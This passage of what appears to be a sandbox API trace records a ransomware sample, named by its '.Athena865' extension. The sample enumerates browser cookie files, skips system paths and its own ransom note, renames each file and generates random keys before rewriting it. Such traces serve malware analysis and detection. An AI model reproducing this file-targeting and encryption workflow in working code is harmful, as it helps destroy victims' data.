dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.168] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.168] CloseHandle (hObject=0x154) returned 1 [0050.168] CloseHandle (hObject=0x17c) returned 1 [0050.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.169] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d8f4d50, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@demdex[1].txt", cAlternateFileName="5PFFE8~1.TXT")) returned 1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2=".") returned 1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="..") returned 1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="windows") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="bootmgr") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="temp") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="pagefile.sys") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="boot") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="ids.txt") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="ntuser.dat") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="perflogs") returned -1 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2="MSBuild") returned -1 [0050.169] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@demdex[1].txt") returned 34 [0050.169] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@demdex[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt") returned="5p5nrgjn0js_halpmcxz@demdex[1].txt" [0050.169] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@demdex[1].txt") returned 34 [0050.169] lstrlenW (lpString="Athena865") returned 9 [0050.169] lstrcmpiW (lpString1="ex[1].txt", lpString2="Athena865") returned 1 [0050.169] lstrlenW (lpString=".dll") returned 4 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2=".dll") returned 1 [0050.169] lstrlenW (lpString=".lnk") returned 4 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2=".lnk") returned 1 [0050.169] lstrlenW (lpString=".ini") returned 4 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2=".ini") returned 1 [0050.169] lstrlenW (lpString=".sys") returned 4 [0050.169] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@demdex[1].txt", lpString2=".sys") returned 1 [0050.169] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@demdex[1].txt") returned 34 [0050.169] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865") returned 99 [0050.170] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.athena865"), dwFlags=0x1) returned 1 [0050.171] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.171] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=241) returned 1 [0050.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.175] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.177] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.177] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.178] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x154 [0050.180] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000 [0050.180] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.181] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.181] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.182] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.182] CloseHandle (hObject=0x154) returned 1 [0050.182] CloseHandle (hObject=0x17c) returned 1 [0050.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.182] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e658910, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e658910, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e658910, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", cAlternateFileName="5PB43E~1.TXT")) returned 1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2=".") returned 1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="..") returned 1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="windows") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="bootmgr") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="temp") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="pagefile.sys") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="boot") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="ids.txt") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="ntuser.dat") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="perflogs") returned -1 [0050.182] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2="MSBuild") returned -1 [0050.183] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned 38 [0050.183] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" [0050.183] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned 38 [0050.183] lstrlenW (lpString="Athena865") returned 9 [0050.183] lstrcmpiW (lpString1="ex[2].txt", lpString2="Athena865") returned 1 [0050.183] lstrlenW (lpString=".dll") returned 4 [0050.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2=".dll") returned 1 [0050.183] lstrlenW (lpString=".lnk") returned 4 [0050.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2=".lnk") returned 1 [0050.183] lstrlenW (lpString=".ini") returned 4 [0050.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2=".ini") returned 1 [0050.183] lstrlenW (lpString=".sys") returned 4 [0050.183] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt", lpString2=".sys") returned 1 [0050.183] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt") returned 38 [0050.183] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865") returned 103 [0050.183] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.athena865"), dwFlags=0x1) returned 1 [0050.184] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.184] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=111) returned 1 [0050.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.185] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.185] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.185] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.186] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x154 [0050.190] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0050.191] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.192] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.192] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.194] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@everesttech[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned="5p5nrgjn0js_halpmcxz@everesttech[1].txt" [0050.194] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned 39 [0050.194] lstrlenW (lpString="Athena865") returned 9 [0050.194] lstrcmpiW (lpString1="ch[1].txt", lpString2="Athena865") returned 1 [0050.194] lstrlenW (lpString=".dll") returned 4 [0050.194] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt", lpString2=".dll") returned 1 [0050.194] lstrlenW (lpString=".lnk") returned 4 [0050.194] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt", lpString2=".lnk") returned 1 [0050.194] lstrlenW (lpString=".ini") returned 4 [0050.194] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt", lpString2=".ini") returned 1 [0050.194] lstrlenW (lpString=".sys") returned 4 [0050.194] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@everesttech[1].txt", lpString2=".sys") returned 1 [0050.194] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@everesttech[1].txt") returned 39 [0050.194] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865") returned 104 [0050.194] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.athena865"), dwFlags=0x1) returned 1 [0050.195] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.195] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=110) returned 1 [0050.196] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.196] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.197] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.197] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x154 [0050.199] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0050.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.200] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.200] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.201] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@google[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@google[2].txt") returned="5p5nrgjn0js_halpmcxz@google[2].txt" [0050.201] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[2].txt") returned 34 [0050.201] lstrlenW (lpString="Athena865") returned 9 [0050.201] lstrcmpiW (lpString1="le[2].txt", lpString2="Athena865") returned 1 [0050.201] lstrlenW (lpString=".dll") returned 4 [0050.201] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[2].txt", lpString2=".dll") returned 1 [0050.201] lstrlenW (lpString=".lnk") returned 4 [0050.201] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[2].txt", lpString2=".lnk") returned 1 [0050.201] lstrlenW (lpString=".ini") returned 4 [0050.201] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[2].txt", lpString2=".ini") returned 1 [0050.201] lstrlenW (lpString=".sys") returned 4 [0050.201] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@google[2].txt", lpString2=".sys") returned 1 [0050.201] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@google[2].txt") returned 34 [0050.201] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.Athena865") returned 99 [0050.201] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.athena865"), dwFlags=0x1) returned 1 [0050.206] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.206] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=276) returned 1 [0050.208] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.208] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.208] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.209] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x154 [0050.211] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0050.211] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.212] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.212] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.213] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.213] CloseHandle (hObject=0x154) returned 1 [0050.213] CloseHandle (hObject=0x17c) returned 1 [0050.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.213] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dcf9270, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1dcf9270, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1dcf9270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@ml314[1].txt", cAlternateFileName="5P0DBF~1.TXT")) returned 1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2=".") returned 1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="..") returned 1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="windows") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="bootmgr") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="temp") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="pagefile.sys") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="boot") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="ids.txt") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="ntuser.dat") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="perflogs") returned -1 [0050.213] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2="MSBuild") returned -1 [0050.213] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@ml314[1].txt") returned 33 [0050.214] lstrcpyW (in: lpString1=0x241e8b6, lpString2="5p5nrgjn0js_halpmcxz@ml314[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt") returned="5p5nrgjn0js_halpmcxz@ml314[1].txt" [0050.214] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@ml314[1].txt") returned 33 [0050.214] lstrlenW (lpString="Athena865") returned 9 [0050.214] lstrcmpiW (lpString1="14[1].txt", lpString2="Athena865") returned -1 [0050.214] lstrlenW (lpString=".dll") returned 4 [0050.214] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2=".dll") returned 1 [0050.214] lstrlenW (lpString=".lnk") returned 4 [0050.214] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@ml314[1].txt", lpString2=".lnk") returned 1 [0050.214] 